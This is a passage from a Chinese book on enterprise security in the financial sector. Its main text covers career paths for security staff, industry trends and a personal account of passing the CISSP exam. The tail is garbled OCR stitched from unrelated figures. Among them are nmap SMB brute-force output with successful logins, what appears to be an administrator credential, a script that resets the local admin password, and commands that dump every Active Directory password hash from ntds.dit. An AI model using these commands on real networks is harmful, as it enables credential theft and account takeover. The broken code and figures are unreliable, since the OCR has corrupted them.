主动学习，指平常工作可能用不上，主动储备用于以后使用。对大部分人来说，如果没有环境逼迫，加之日常繁重的工作，很难做到持之以恒、积极地主动学习，而且人的时间、精力总是有限的，如果对自己所处行业的大局和趋势缺乏了解，一般人很难能框定一个比较合理的学习范围，万一学了一堆用不着的职业技能，也会付出巨大的机会成本。主动学习不如被动学习效率高，但一旦建立起主动学习的能力和习惯，持之以恒地坚持，机会一定会垂青有准备的人。

每个人对人生的追求都不同，有的人喜欢平淡简单知足的生活，有的人立志成为呼风唤雨的大佬，不同的人生目标选择的道路自然不同。但千万不要因为贪图安逸而做出选择，因为短期的安逸必然会让你付出长远的努力来弥补。


小结三：
 抱着创业的心态去打工，个人利益与公司利益正好能一致，那么工作积极性会大大提高，客观上也会为公司创造价值。


4.安全人员职业发展路径


要回答安全人员职业生涯发展路径问题，我们先看看安全岗位分类，根据安全岗位所需的智商情商划分成象限图如图24-1所示。




图24-1　安全岗位所需的智商情商划分成象限图

笔者认为适合有志于安全从业的大学毕业生的职业规划思路如下：

（1）规避A类工作

图24-1中，A类工作属于不需要太多技能和经验，且日复一日重复度极高的工作岗位，但很不幸，大部分安全从业者就像刚申请游戏账号的新手一样，都是从A类工作开始安全之旅的。A类岗位是必经之路，就像刚毕业的人总会经历一个干苦活累活杂活还没有太多成就感的阶段，想尽量走出A类岗位的玩家，会有意识地做到：

·尽可能将岗位工作标准化、自动化，节约人力，空出时间干更多有提升价值的工作和学习。

·将交给的工作认真做到位，经常利用下班时间钻研，知其然更知其所以然，把原理和本质吃透。

·总结经验教训，反向改进优化机制，提高效率，避免类似问题重复发生。

在A类岗位工作是新手玩家必经的一道坎，很多玩家倒在这道坎——从业十多年还在从事基础类工作。只有顺利且迅速地迈过这道坎，才能打开B类和C类岗位工作，并最终迈向D类岗位工作。

（2）尽量从C类做起

为什么不是尽量从B类工作做起，是因为在中国大部分应届毕业生情商还不够高，在个人品质上，普遍脸皮薄、害羞、内敛，不如西方特别是欧美人热情自信，如果先从B类工作做起往往会最终感到不适应，而那时技术可能早就荒废了，从管理人生的风险敞口角度是不太合理的。C类工作有两个特点：一个是学习空间大，这样在工作上花的时间会凝结成自身的价值；二是会经常需要解决非结构化的问题。

大部分安全从业人员都面临在C类和A类岗位之间做出选择，比如金融企业大多会购买一些安全设备，如IPS、WAF、数据库审计之类，A类岗位安全设备管理员的工作内容就是确保设备正常开关机，按照厂家建议修改一下默认规则配置，流量镜像、日志告警正常，偶尔看看高风险告警情况，定期出几份报告，加黑几个IP。C类岗位的工作内容是，先搞清楚安全设备底层原理，测试设备全部安全功能并知晓各功能局限以及关键有用功能，搞清楚此类安全设备能够防护的攻击类型和常见绕过方式，针对性地配置防护规则和告警规则并作出优化，对于高风险告警一一进行安全分析并反向优化，对于异常进行溯源、定位、清除。明显C类岗位比A类岗位对安全有效性更有价值。选择决定了未来。

即便是从事C类岗位工作也很快就会遇到发展的瓶颈。原因有两个：

·从企业角度来说，某一业务流程一旦变得越来越难杂，企业就会有将其不断肢解细化的强烈内在冲动，以降低对核心员工的依赖。比如，安全分析中的安全事件应急处理，企业希望能够将安全分析的工作分解，流程化、标准化和工具化，一部分安全分析的工作能够交由技术功底和经验不是那么多的初级人员去完成，慢慢地安全事件应急处理就是照着标准的工作书，拿着标准的工具、流程跑一遍就好了。现在绝大多数的安全厂商的应急处理就是这样的。

·从个人角度来说，工作一两年之后时间的边际效用在降低，不像刚入行每天都可以学到新的知识，重复机械劳动逐渐成为常态。在这种情况下，工作所花时间并不会让你的人力资本增值，反映到薪酬上就是工资开始顶到了天花板停滞不前。更糟的是，一旦你花了一辈子去学的赖以谋生的技能技术一旦被社会淘汰，带来的后果可是灾难性的。就像二十年前搞BP机一样，每个行业莫不如此，技术更新有快有慢，IT行业技术更新尤其快，安全行业更甚，只有不断学习、时刻保持着一种危机感才能立于不败之地。

（3）B类要尽可能覆盖范围广

B类岗位特点是对技术（智商）要求不是特别多，但对情商要求比较多，比如IT内控合规类岗位、安全审计类岗位，这类岗位要想出头，必须在工作内容覆盖范围广度方面拓展，比如安全管理岗的职级高低，在于其Cover的安全管理范围大小。

（4）D类是安全从业人员发展的终极目标

D类是安全从业人员发展的终极目标，建议先从C类做起，慢慢承担起B类工作，双剑合璧之时便是成功之日。




24.2　安全环境趋势和安全从业趋势




1.安全环境趋势


在2010年以前，我们和国内金融行业同仁交流的时候，做安全的思路普遍还在监管合规+设备部署的阶段。2010年后，由于网上银行、移动金融的快速发展，以及国内互联网安全形势的进一步严峻，金融行业的安全需求开始发生深刻变化，需要有效解决实际安全问题，对安全攻防、安全运营的需求逐渐增多。安全环境变化趋势体现在以下几点：

·监管从合规为主，技查为辅，转向合规、技查双轨并进，不断提升技查比重，以技查促合规落地。银监会、证监会均会聘请专业的第三方机构对商业银行、证券期货公司的互联网系统进行远程渗透，甚至直接渗透进办公网和交易网，这将是未来监管科技的“新常态”。

·应用安全、内网安全和数据安全，从企业安全建设关注度和投入度来看，是从高到低，这与攻击者攻击应用安全的门槛相对内网安全、数据安全低很多有关，攻击门槛越低，攻击从业者越多，发现的问题也越多，防守方投入也越多。从防护难度上看，这三类是从低到高，因为防守方通常会首先选择防守难度较低的应用安全开始。

·企业安全建设的安全岗位范围从安全设备管理向安全有效性、安全运营扩展。越来越多的企业在安全负责人意识到，安全设备只是工具，要管理好安全设备，真正起到防护能力，实现安全有效性，必须通过安全运营来实现。这点体现在越来越多的企业在招聘企业安全负责人、安全岗位人员时，都强调有实际安全攻防对抗经验和安全事件分析经验，能够讲清楚安全价值实现思路。

·业务和信息系统不断云化。各类业务和信息系统上云是不可阻挡的趋势，公有云、私有云，突破传统安全防护边界，面临新的挑战。

·安全防护向自动化、智能化迈进。

·安全重心向前端业务靠近。在IT内部，安全防护越来越向研发深入，向需求立项、架构评审、代码开发阶段渗入。在IT外部，安全也向支撑业务发展、打击黑灰产、业务风控靠近，贴近前端和业务，安全才有价值。

·向互联网行业和公司学习。

·金融企业安全团队规模爆炸性增长，团队定位3~5年内走向公司二级部门，安全团队负责人职级职位将成为一级部门副总。


2.安全从业趋势


为适应上述安全环境变化趋势，金融行业安全从业趋势体现在以下几点：

·至少5年内，对安全从业者的需求还是相当大的，甚至供不应求。如果需求大于供给，那么对于供给方各类要求必然下降，不知道这对于安全从业者来说是好消息还是坏消息。

·人还是安全中最重要因素。一位优秀的安全团队成员，远比一两款安全产品、安全设备重要，再好的安全防护也需要人设计、落地实施、运营优化。

·无论是既懂安全又会开发点小工具、还爱折腾的安全“全栈工程师”，还是聚焦于xx万IDC规模下的入侵检测的某个特定领域的安全专家，都会有不错的发展前景。

·目前国内并没有CSO文化，大部分企业也只是在IT部门设置安全团队，因此国内金融企业基本上都没有CSO岗位，只能称作“企业安全负责人”。随着安全对IT、对公司的重要性不断提升，以及监管要求提升，5~10年内，重视安全的金融企业必然会设置CSO岗位。

·安全从业获得回报和解决实际问题产生的价值，与该类问题所需成本高低有关。笔者听过很多抱怨，如安全团队不受重视等。安全团队不受重视是结果，而不是原因。比如大部分企业资产管理做得并不好，安全资产管理更是糟糕。如果在爆发Struts2漏洞时，安全团队能够迅速列出一张受影响清单，以及受影响业务系统，并给出修复建议和顺序，那么安全团队的价值就体现出来了，反之，若只能转发一下漏洞预警信息，公司内哪些业务会受影响、业务系统修复可能带来的问题等一概不管，安全团队的价值就极其有限。所以安全团队的价值和其解决实际问题产生的价值有关。

·能够采用各种方式，推动企业安全防护能力不断提升的从业人员将获得更大发展。企业里安全团队和其他团队的冲突点主要在于大家对安全、可用性和业务的平衡点认识不同。如何在各类资源有限、各种纷繁复杂的情况下，说服、推动不同利益方取得一致意见，提升安全防护能力，取得平衡，将是安全从业人员的重要能力。

·创业也是不错的选择。




24.3　安全从业指南




1.安全从业者的职业发展路径


安全从业者的职业发展需要根据自身实际情况而定，推荐的发展路径参考图24-2。

以下分别介绍各类方向发展情况。


2.企业安全从业人员（甲方）


（1）总部IT安全团队员工

a.安全技术类岗位。

如果是从事安全开发、安全攻防等技术类岗位，职业生涯初期可以在应用安全、内网安全、数据安全的某2~3个领域深入，越深入越好，目标是成为金融行业的某领域技术专家，顺利的话可以成为技术组组长、实验室负责人；中期目标是成为大企业高级开发者或中小企业安全负责人；终极目标是走向CSO高管职位。

关于大企业高级开发者与中小企业安全负责人的路径选择问题，赵彦在“行业风口上的安全人员职业规划”分享的以下内容可供参考：

大厂需要的经验譬如都是xx万IDC规模下的入侵检测，或者x万研发人员提交代码仓库的SDL，大部分时候会要求应聘者已经具备相关领域的成熟经验。小公司跟大公司不同，安全团队即使有其规模也不会很大，安全人员往往需要身兼数职，面对一揽子问题给出最高性价比方案，这类性价比高的方案往往是逮着某个开源软件就上，而不会过分计较其功效。有些公司虽然也有安全团队，但必须大量地依赖商业产品和解决方案，自己只负责简单的安全产品运维。同时，中小企业招聘到高级安全技术人才的可能性不是很高，也间接决定了不可能在结果上深挖。于是一个既懂安全又会开发点小工具还爱折腾的“全栈工程师”在这种场景下就吃香了；但不好的是，一旦你受中小企业欢迎，那么你的技能会越来越聚焦泛而不深的安全需求，你在可预见的职业生涯里都可能跟大公司无缘了，因为你一直在发展小公司急需而大公司不需要的技能，同时即使在小公司做到安全负责人但收入只有大公司高P的几分之一。人有时候会放自己一马，去个小公司舒舒服服地当个安全负责人，至少不用在日新月异的技术上孜孜以求、苦苦学习，也不用被成为高P的愿景所绑架，毕竟只有少数拔尖者最终才会成为高P。从比较积极的角度看，过早地放弃高P路线转向中小企业安全负责人，犹如放弃攀爬一座1000米高的山，转而爬一座600米的山，会舒服一阵；但会更早地迎来半衰期的中点，更早地迎来下坡路。




图24-2　推荐的安全从业者职业发展路径

b.安全管理岗位。

安全管理类岗位包括安全设备运行维护，安全合规、政策、制度，风险管理，监督检查等。职业生涯初期可以在安全运维、设备运维方面入手，掌握一些基本的安全技术领域背景知识，为后期走向偏管理类方向打下基础；中期目标是成为中小企业安全负责人、IT部门内控合规负责人，也可能成为公司风险管理、合规法务、稽核审计部门内，与IT相关业务的负责人，比如IT风险管理组长、IT审计组长等；最终目标是CSO、CRO等高管职位。

安全管理岗切记职业生涯就直接从风险合规方法论起步，有条件的先从事2~3年的偏安全技术类工作，这样在转向安全管理、风险管理类偏“务虚”类岗位时，能够和工作对象有沟通基础，否则技术人员觉得你是一个什么也不懂，只会讲方法论的风险管理者。有一定前提基础的沟通是双方协作的必要条件。另外此处务虚打上了双引号，因为风险管理、内控合规等工作并不务虚（IT风险归类于操作风险，属于四大风险管理领域之一），金融行业本来就是加工风险的行业（入行时行长培训灌输的第一个理念），银行更是基于风险定价，因此如何进行各类风险管理其实是个非常专业的技术领域。我们觉得安全管理务虚，是因为目前绝大多数甲方管理者和乙方咨询服务方，交付的是务虚的工作成果，比如组织架构、职责、制度、流程等，而如何有效进行风险计量、处置，如何推动风险管控落地，风险管理工具（RCSA、LDC、KRI）如何有效使用等，这些实施、推动起来比较困难的内容被有选择地忽视和过滤掉了。

（2）总部第二道、第三道防线部门员工

职业生涯初期总在IT风险、IT合规、IT审计类岗位从事较为初级的工作；中期目标是成为公司风险管理、合规法务、稽核审计部门内，与IT相关业务的负责人，比如IT风险管理组长、IT审计组长等，也可能专项乙方如四大会计师事务所的咨询顾问，最终目标是CRO高管职位。

（3）分支机构安全管理员

分支机构安全管理员发展空间有限，需谨慎选择。目标是多从总部和同行业学习一些最佳实践，在同其他分支机构的安全管理工作比较中处于优势。此类岗位的发展空间在于安全管理员能否承担更多分支机构的其他非安全类需求。


3.安全公司从业人员（乙方）


（1）安全产品研发类

安全产品研发类属于乙方企业的核心岗位人员。中期目标是成为产品线负责人；长远目标是成为主管技术的副总裁、CTO。

（2）安全技术支持类

安全技术支持类，包括技术服务、技术支持、应急响应等。中期目标是成为技术支持线负责人、XX分公司负责人；长远目标是成为大区负责人、服务线副总裁等。

（3）安全咨询类

安全咨询类主要分布于四大会计师事务所（德勤、安永、普华永道、毕马威）、Thought-works的IT信息安全咨询部门。中期目标是成为高级经理；长远目标是成为事务所合伙人。

还有一类咨询是非四大的综合性安全厂商，如360、绿盟、启明星辰，内部也有一些高阶的咨询服务岗位，如金融行业解决方案部门负责人等。

（4）驻场外包类

驻场外包类岗位主要是安全运营、安全支持类工作。中期目标是成为驻场外包团队负责人；长远目标是转向乙方内部安全技术或服务类岗位、甲方安全岗位。

（5）销售类

销售类岗位主要在于客户资源和对甲方客户需求的把握，以及需求和解决方案、资源之间的平衡点。成功的销售类岗位人员能够在资源有限的情况下，找到需求、解决方案与资源之间的平衡点，最大化客户、公司的价值，而绝不仅仅是销售数字（数字只是结果）。目前纯销售岗位越来越少，前景越来越不乐观，技术人员转型大销售趋势明显，销售、售前、售后支持、技术支持的界限越来越模糊。中期目标是成为分公司负责人；长远目标是主管销售的副总裁或创业。


4.其他类从业人员


（1）白帽子、漏洞挖掘从业人员

白帽子、漏洞挖掘从业人员更多是安全人员的第二职业，他们大多都是有第一职业，挖洞只是副业。也有少数专职人员，转向甲方安全研究、安全防护都是不错的职业规划选择。

（2）安全公司创业

2018年4月13日，网信办和证监会联合关印发了《关于推动资本市场服务网络强国建设的指导意见》的通知，支持符合条件的网信企业利用多层次资本市场做大做强。加快扶持培育一批自主创新能力强、发展潜力大的网信企业在主板、中小板和创业板实现首次公开发行和再融资。网络安全公司创业重新站上了新的风口。五年前更多是乙方安全企业人员出来创业，而最近几年的趋势是很多甲方企业安全人员出来成立创业公司或加盟创业公司，未来将会看到更多此类情景。参与安全创业的岗位主要是：乙方销售类、产品研发类岗位（更多是副总裁类的负责人），甲方安全负责人、技术骨干，政府相关部门人员。


5.安全从业指南


在安全从业人员职业规划中，有以下几点值得注意：

·尽量缩短初期练级所需时间。游戏玩家知道，某些关卡、技能和高等级场所只有玩家到了一定级别才能解锁，级别没到，只能枯燥地每天打打小怪物，积累经验值。因此职业生涯初期，尽可能缩短初期练级所需时间。这个缩短不是说一味地往更好更高的职位上跳，不是这个意思。初期练级是最重要的打基础阶段，在这个阶段，除了每天事务性和分配性工作之外，要勤于思考这些工作的关键是什么，如何改进优化，以及这些工作和其他的工作之间的关系，整个工作的全貌是什么等等。在这个初级阶段，最重要的是养成独立思考的逻辑思维、科学的方法论、勤奋细致的工作作风，以及结果为导向的价值观，如果能以这样的心态和方法去工作，将很快从初级者中脱颖而出。

·在面临工作选择的时候，规避主要内容都是dirty work的工作。dirty work工作主要特征是事务性、重复性的。这类工作是无法完全避免的，哪怕是高阶的管理者，每天也在做一些dirty work，比如流程审批，只是比重不同而已，因此做这类工作的目的是为了未来不再做。关键是在做dirty work中以结果和业绩展示自己的实力，让上级管理者认为把你放在dirty work上纯属浪费，自然而然就逐步减少dirty work了。最完美的状态就是每时每刻都能学到新的知识，按照“10 000小时”定律努力下去，就有可能成为某行业的顶尖人才。

·在某些技术领域成为专家。很少看到高职级安全人员属于一点技术背景都没有的。大多数情况是，先成为某些技术领域的资深专家，然后自身又有一定兴趣，付出时间精力进行管理实践，两者结合，迈向了长远目标。成为某些领域技术专家是职业生涯金字塔的塔基部分，塔基不牢甚至没有就只会使金字塔成为空中楼阁。

·安全人员薪资比同级别研发和运维要高一些，但IT部门总经理、CTO等大多来自运维和研发，鲜有从安全部门晋升而来。因为安全不是必需品，价值判定因人而异，因此选择安全从业时考虑清楚。

·除了少数岗位性质决定以外，甲方从业人员面临的问题，都不是技术问题，或者说单纯依靠技术解决不了，大部分岗位比拼的也都不仅是技术，而是解决一个一个小问题、从而最终搞定事情、将工作往前推进的综合能力。黑猫白猫，搞定问题，取得绩效就是好猫。

·适当积累各类资源。资源并不等同于人脉，资源是能够用于解决问题的各类有利条件的统称。人脉是你的资源，你掌握的非安全知识也是资源，你的兴趣爱好也是资源，你所在城市也是资源。积累各类资源，有助于解决问题，避免对单一解决方案的依赖，以及在单一解决方案行不通时各类资源提供其他可能性。就像你高考成绩太差，无法通过大学改变自己命运，但你会做葱油饼，或者球踢得很好一样，都可以帮你实现同样目标。当然现实一点的资源，基本上都是人脉资源，你在企业内部，帮助更多的人，获得更多的人的认可和帮助，本质上也是积累自己的人脉资源，这样会让自己以及自己所在安全团队之路越走越宽。资源是价值创造的倍增器。




24.4　安全从业注意事项




1.守住底线


以前知乎上有人问黑客入门第一本书是什么，高票答案是《刑法》。对于安全从业人员来说，守住底线始终是从业第一原则。甲方、乙方，各自都有各自的底线，不做黑灰产是技术人员底线，不违背原则、不做恶意竞争的销售是乙方人员的底线。作为甲方从业人员，笔者的底线是：不做混吃等死的小白兔，达成公司对安全团队的安全诉求，实现安全团队成员每个人价值提升。


2.面临选择时的思考原则


职业生涯其实就是从面临各种选择中开始的，面临选择时的一些思考原则供参考：

·选择难走的那条路。这条难走的路将助你淘汰掉很多竞争者，让你走向不可替代者的未来。

·工作的同时，成就别人。工作中会遇到很多需要“帮”一把的人，各层次的人都有，笔者认为，尽可能在力所能及的范围内帮助别人，成就别人，也是在成就自己。所以，不要轻易说不，努力想办法帮助能力范围内的每个人和每个需求，同时你也会获得很多人的帮助。

·多下日拱一卒的笨功夫，少学奇技淫巧的小聪明。职业生涯初期，可能靠奇技淫巧的时候多一些，会获得一些青睐，但越往后，越需要的是日拱一卒的笨功夫。

·格局和靠谱。面临选择时要看长远，而不是短期利益优先。比如职业生涯早中期选择一份工作，工作量、离家近、薪资等基本都属于考虑的后选项，优先选项应该是大平台、工作内容是否有利于经常性学习等。靠谱是指要让自己成为和你接触、连接、共事的伙伴们对你的标签，他们愿意再回头和你合作，而不是一次之后再也不回头。


3.如何应对迷茫


怎么应对迷茫？迷茫不要成为自己虚度光阴的借口，无论何时，不要放弃学习，放弃让自己增值。不能盲目地虚度青春。哪怕是做最基础的事务性工作，也要做得比别人更快更好更漂亮。把握几点：

·任何时候，都遵从结果导向。首要是解决问题，其次才是漂亮得解决问题。

·对抗不稳定的能力决定了你的价值，专业的程度决定了你的价值高低，有了价值就会少些迷茫甚至不迷茫，价值增加靠的是学习，每一件工作、每一天都是学习的机会，学习没有捷径。

·要有危机感，不要有太多优越感，每年给自己目标和压力，学会让自己简单，找一个好的另一半。


4.不忘初心


职业生涯发展和工作，最终的目的还是让我们生活得更好，而不是相反。

很多安全从业人员，可能在路上太久，忘记了自己的初心是什么。为了超常规发展晋升，追求财务收益，往往忽视甚至丢弃了很多更宝贵的东西，比如健康、家庭、品德乃至做人的底线和原则。套用流传很广的一段话：选择安全作为工作方向，考虑职业生涯和发展，通过努力使自己将来拥有选择的权利，选择有意义、有时间的工作，而不是被迫谋生。

最好的状态是：未来之于我不再是恐惧，而是充满挑战的征途，因为心中有了明确的目标和努力的方向，让我的内心变得亮堂，我知道成功是可期的，而不再是如中彩票般的小概率事件。




24.5　小结



选择安全作为工作方向，通过努力使自己将来拥有选择的权利，而不是被迫谋生。当你从事的安全工作方向在你心中有意义，你就有成就感，当你的工作给你时间，不剥夺你的生活，你就有尊严。成就感和尊严，给你快乐。




附录



附录A　我的CISSP之路

附录B　企业安全技能树




附录A　我的CISSP之路



——聂君

本文写于2012年，是通过CISSP认证考试后的总结。一直以来觉得做安全的谈认证考试，挺难为情，你看那些大拿，毕业证都不要，还要啥证书？金融企业安全建设群（文末有入群方式）近期谈到这个话题的时候很踊跃，企业安全建设中信息安全认证必不可少，毕竟金融企业安全建设并不要求团队成员在某个领域非常高精尖，而要求主要方面都平衡，以及在至少一个领域有自己的专长，通过认证的系统性学习和考试检验，能迫使自己总结提高。现在越来越多的企业将上述证书作为安全职位上岗证+KPI考核，艺多不压身，有兴趣的朋友尝试一下。开始行动往往就等同于成功。

CISSP和CISA是我接触比较早的两个认证，某天有个四大的人递过来一张名片，上面写着CISSP、CISA，我想这两个认证可能比较值钱他才会印在自己名字上吧。后来去网上搜了一下，确实在安全界这两个认证还是得到很多人的认可的，也比较火。我想原因有两个：一是这不同于IT厂商推出的认证，没有题库，也不仅仅是讲自己的安全产品的使用，而确实涉及安全的方方面面知识，对于刚进入安全圈子的人来说，开阔知识面，增加阅历是很有帮助的。二是安全理念。我觉得安全是没有标准答案的一门学问，在安全领域，永远没有人可以告诉你做到哪些你们企业就安全了，可以高枕无忧了；恰恰相反，安全是一个持续的过程。安全需要你不断地更新你的知识库，并且你不能仅仅从你的角度出发考虑问题，也不能仅仅从技术角度出发解决问题，安全更多时候面临的是复杂环境，如何做好动态平衡是需要安全从业人员认真学习的一门艺术。从这个角度出发，我觉得老外的这些安全认证给我们很多启发。这些考试普遍需要从多个岗位、多个角度上看问题（安全不是一个人说了算的事情，与每一个人的参与有关），尤其是对风险的管控和对业务的保障，这是不少考试出题的重要视角。

中间过了很多年，我考了很多IT厂商认证，觉得都含金量不足，后来看到了CISSP、CISA、CCIE、CEH，然后开始打怪通关。2011年第一次报CISSP考试，12月在北京考试，最终成绩出来没有考过。没考过是在自己意料中的，没有花什么时间看书，只是在临考前突击了2天，而且CISSP对英语要求比较高，考试的时候发现很多关键的单词自己都需要查字典，导致自己做题速度很慢，后面基本上遇到不熟悉的单词也不查了。虽然没过，但因为考试在北京，自己在酒店专注复习看书，不用上班，感觉也是挺爽的。不过后来在团队面前宣布我的考试成绩时，脸还是有点挂不住，觉得很没面子，同时暗下决心，2012一定要再考一次。

2012春节一过，因为有点其他事情耽误了，我从4月份开始看书，我记得第一次坐在电脑前看英文版的《All in one》的时候，我给自己建了一个TXT文本文档，标题就是“聂君的CISSP之路”，里面记载了我每次看CISSP的进度，以及看到有价值的知识点和不认识的重要单词。开始，我看的是英文版，因为我在论坛里看了很多人发的帖子建议大家看英文版，后来我发现其实这个建议不适合所有人，比如我。看英文版适合英文很好的人，这样看起来非常有效率，而且不需要经过英文-中文-英文的转换，但这不适合英文不好的同学。我个人的经验是快速看中文版（别跟我说你中文看起来也很慢），每章后面都有一个总结，对全章的知识点进行提炼，这个总结一定要仔细认真看，是全章的精华部分，看完一章之后做后面的习题，看看自己得分到多少，我基本上都低于70%的正确率，很正常。之后，你开始看对应的英文版，因为中文版是翻译英文版的，看英文版的时候把中文版放在旁边，有不认识的英文长句和英文单词，直接看中文版，比查字典还快。而且《All in one》很啰嗦，没必要逐字逐句看，每章中文都有一些黑体，你只要理解这些关键段落和关键词的意思及原理就行了，快速突进，一章英文很快就干掉。我自己的实战经历是把所有中文看完，做后面习题。然后看每章英文，看一章做一次Total Seminars的章节练习题，这时候基本都能达到80%的准确率了。最后，考前复习的时候我做了2套模拟题，看了孟紘给我的CISSP单词表。

我报考的是2012.5.19上海考试，考点在浦东新区的交大信息安全学院。位置很偏僻，偌大的城市，路上看不到什么人，连打车都打不到。考前两天我在复习的时候，基本上看1小时书休息5分钟，效率非常高，心无旁骛。其实我在考前2天的时候基本上中文也就刚看完，英文还没开始，心里特别没底。但我在2天内看完英文后，心里就有底了，过了1个多月，成绩出来，顺利通过，当时我高兴得跳起来了。

整个过程其实平时我没花多少时间，可能也就是二三十个小时吧，真正有效率的是考前2天的专心复习，有点类似于大学里考试前的突击，效果特别好。有几点供参考：

·CISSP考试是注重体系的，要以美国的价值观、安全观对待，明白了CISSP出题者的套路，才能选对所谓的最合适的那个答案。

·考试6小时，250道题，对体力绝对是个考验，所以建议考前最后一天12点一定要睡觉，否则撑不住，而且休息不好对大脑思维很不利，我第一次考试就是太晚睡，结果到最后头晕眼花，快没力气看题了。第二次早点睡，效果好多了。

·英文一定要看，但如何看，取决于你的时间和你的英文水平，英文不同级别能力的人都有办法在短时间内过，但方法很重要。

·没有真题，我考了两次，似乎没有一道题是相同的。我们应该感到庆幸，没有题库的认证能够保证认证质量，也不会让我们辛辛苦苦考过的认证直接扔进垃圾堆了。

·考试过了，没有考试成绩。考试没过的话，会有一封邮件告诉你十个CBK中你的成绩先后顺序，针对性地看你成绩最差的CBK吧，我的好像比较差的是物理和环境安全、法律、法规、遵从和调查、业务连贯性和灾难恢复，成绩确实能反映我的工作经历。

·考试过了，不代表迎来人生巅峰，人还是那个人。但考试通过能起码让自己感觉不坏，而且通过考试前的学习，对自己的专业知识也做个梳理归纳总结，还可以学到诸如直接证据、间接证据、决定性证据等知识，肖恩·哈里斯的书中也有很多搞笑的段子，谈起来也非常不错。

J0ker将自己求学CISSP的亲身经历整理成系列文章《怎样成为一名CISSP》，有兴趣可以看看。

顺便说下我的CISA，基本上只看了同事给的一本PPT打印版材料，其他一概没看，考前也没复习。推迟了两次才最终决定去考的，因为再也不能推迟了，结果过了。

开始行动往往就等同于成功。




附录B　企业安全技能树






图B-1　企业安全技能树（上）




图B-1　企业安全技能树（下）
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102] XHSEC\Administrator (Administrator) XH®1234
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(SYSTEN)
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froot@dmznat ~J# nmap -p445 -T4 --script=smb-brute.nse --script-args passdb=/tmp/pass.txt,userdb=/tmp/user.txt 172.16.0.

starting Nmap 5.51 ( http://nmap.org ) at 2018-07-15 20:28 CST
\map scan report for 172.16.0.200

Host is up (0.00082s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

VAC Address: 00:50:56:A6:4E:BF (VMware)

HosT script results:

| smb-brute:

| administrator 2018 => Login was successful
| ditcadadmin2. mmi201802 Login was successful
|- test2 1201802 => Login was successful

ymap done: 1 IP address (1 host up) scanned in 13.41 seconds
[root@dmznat ~]#
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Changes the local Administrator password. The script should be deployed using Group Policy or through a logon script.

Visual Basic

Set oShell = CreateObject ("WScript. Shell”)
Const SUCCESS = 0

slUser = “administrator”
sPwd = "Password2"

get the local computername with WScript. Network,

or set sComputerName to a remote compiuter

Set offshlNet = CreateObject("WScript.Network")

sComputerName = oWshilet. Computerlame

Set ollser = GetObject("WirNT://" & sComputerName & “/° & slser)

Set the password
olser. SetPassword sPwd
ollzer. Setinfo

oShell.LogEvert SUCCESS, “Local Administrator password was changed!”
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BEFORE AFTER

<form action="login_form.php" <form action="d94M2eQgBK">
<input id="username" name="username"/> <input id="v6DbNQEs4z ="dtTtA6tsmi" />
<input id="password" name="password"/> <input id="b5KbBSjCT6" M WttCLcv3f" />

<input id="rememberMe" name="rememberMe" /> <input id="zQNA3ZBgKz" " R2bHEe3taV"/>
<input id="login" name="login"/> <input id="rvnFbpxKki HNnQwnUbtm" />
<input type="submit"/> <input type="submit"/>

</form> </form>
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C:\Tools\Ad> $key = Get-BootKey -SystemHivePath ’D:\IFM\registry\SYSTEN’
C:\Tools\Ad> echo $key
478 et St e MR B

C:\Tools\Ad>
C:\Tools\Ad> GET-ADDBAccount -A1l -DBPath ’D:\IFM\Active Directory\ntds.dit’ -BootKey $key > hashes.txt,
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Credential abbreviation

Certification Title

Issuing Organization

0scP Offensive Security Certified Professional

OSWP Offensive Security Wireless Professional

OSCE Offensive Security Certified Expert Offensive Security
OSEE Offensive Security Exploitation Expert

OSWE Offensive Security Web Expert

CISA Certified Information Systems Auditor

CISM Certified Information Security Manager ISACA
CRISC Certified In Risk and Information Systems Control

GISF GIAC Information Security Fundamentals

GSEC GIAC Security Essentials Certification

GISP GIAC Information Security Professional

GCFE GIAC Certified Forensics Examiner

GPPA GIAC Certified Perimeter Protection Analyst

GCIA GIAC Certified Intrusion Analyst

GCIH GIAC Certified Incident Handler

GCUX GIAC Certified Unix Security Administrator

GCWN GIAC Certified Windows Security Administrator

GCED GIAC Certified Enterprise Defender

GPEN GIAC Certified Penetration Tester

GWAPT GIAC Certified Web Application Penetration Tester
GMOB GIAC Mobile Device Security Analyst GIAC
GSLC GIAC Security Leadership

GSTRT GIAC Strategic Planning. Policy. and Leadership

GCPM GIAC Certified Project Manager

GSSP-NET GIAC Secure Software Programmer- NET

GSSP-JAVA GIAC Secure Software Programmer-Java

GSNA GIAC Systems and Network Auditor

GCFA GIAC Certified Forensic Analyst

GLEG GIAC Law of Data Security & Investigations

GAWN GIAC Assessing Wireless Networks

GXPN GIAC Exploit Researcher and Advanced Penetration Tester
GREM GIAC Reverse Engineering Malware

GSE GIAC Security Expert






OEBPS/Image00015.jpg
Credential abbreviation

Certification Title

Issuing Organization

CISSP

Certified Information Systems Security Professional

CISSP-ISSAP

Information Systems Security Architecture Professional

CISSP-ISSEP

Information Systems Security Engineering Professional

CISSP-ISSMP

Information Systems Security Management Professional

CSSLP Certified Secure Software Lifecycle Professional )
€csp Certified Cloud Security Professional ase
SSCP Systems Security Certified Practitioner
CAP Certified Authorization Professional
CCFP Certified Cyber Forensics Professional
HCISPP HealthCare Information Security and Privacy Practitioner
CASP CompTIA Advanced Security Practitioner
CSA+ CompTIA Cyber Security Analyst
- - CompTIA
Security+ CompTIA Security+
Pentest+ CompTIA Pentest+






OEBPS/Image00016.jpg
1. EERHECRE
RSN LOUAREERE  LoRGRRATRE  LOIENER  Lomed

4 ARG E 5. ARGENR )






OEBPS/Image00013.jpg
Job Board Search Results (United States) 2018-3-13
Cetification Simplyhired| Indeed |Linkedin Joby Total
CISSP 9217 12053 14522 35792
CISA 4295 5675 7510 17480
CisM 3088 4160 5247 12495
CompTIA Security 3037 4003 3665 10705
CEH 1952 2752 3255 7959
GIAC 1694 2121 2924 6739
GSEC 1404 1956 2534 5894
CCIE Security 1047 1276 683 3006
CRISC 720 906 1266 2892
0OScP 495 659 683 1837
CCsP 467 587 772 1826
GPEN 371 498 595 1464
CSsLP 275 335 436 1046
CCSK 80 181 157 418
TOGAF 811 1078 1600 3489
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#if defined(sun) || defined(__sun_)
#define NETSTAT "netstat -an -P %s | "\
"grep \"[*0-9]%d \" > /dev/null 2>&1"
#else
#define NETSTAT "netstat -an | grep \"A%s\" | " \
"grep \"[*0-9]%d \" > /dev/null 2>&1"

#endif

int run_netstat(int proto, int port);
int conn_port(int proto, int port);
void test_ports(int proto, int *_errors, int *_total);

static int run_netstat(int proto, int port)

{

int ret;
char nt[0S_SIZE_1024 + 1];

if (proto == IPPROTO_TCP) {
snprintf(nt, 0S_SIZE 1024, NETSTAT, “tcp", port);
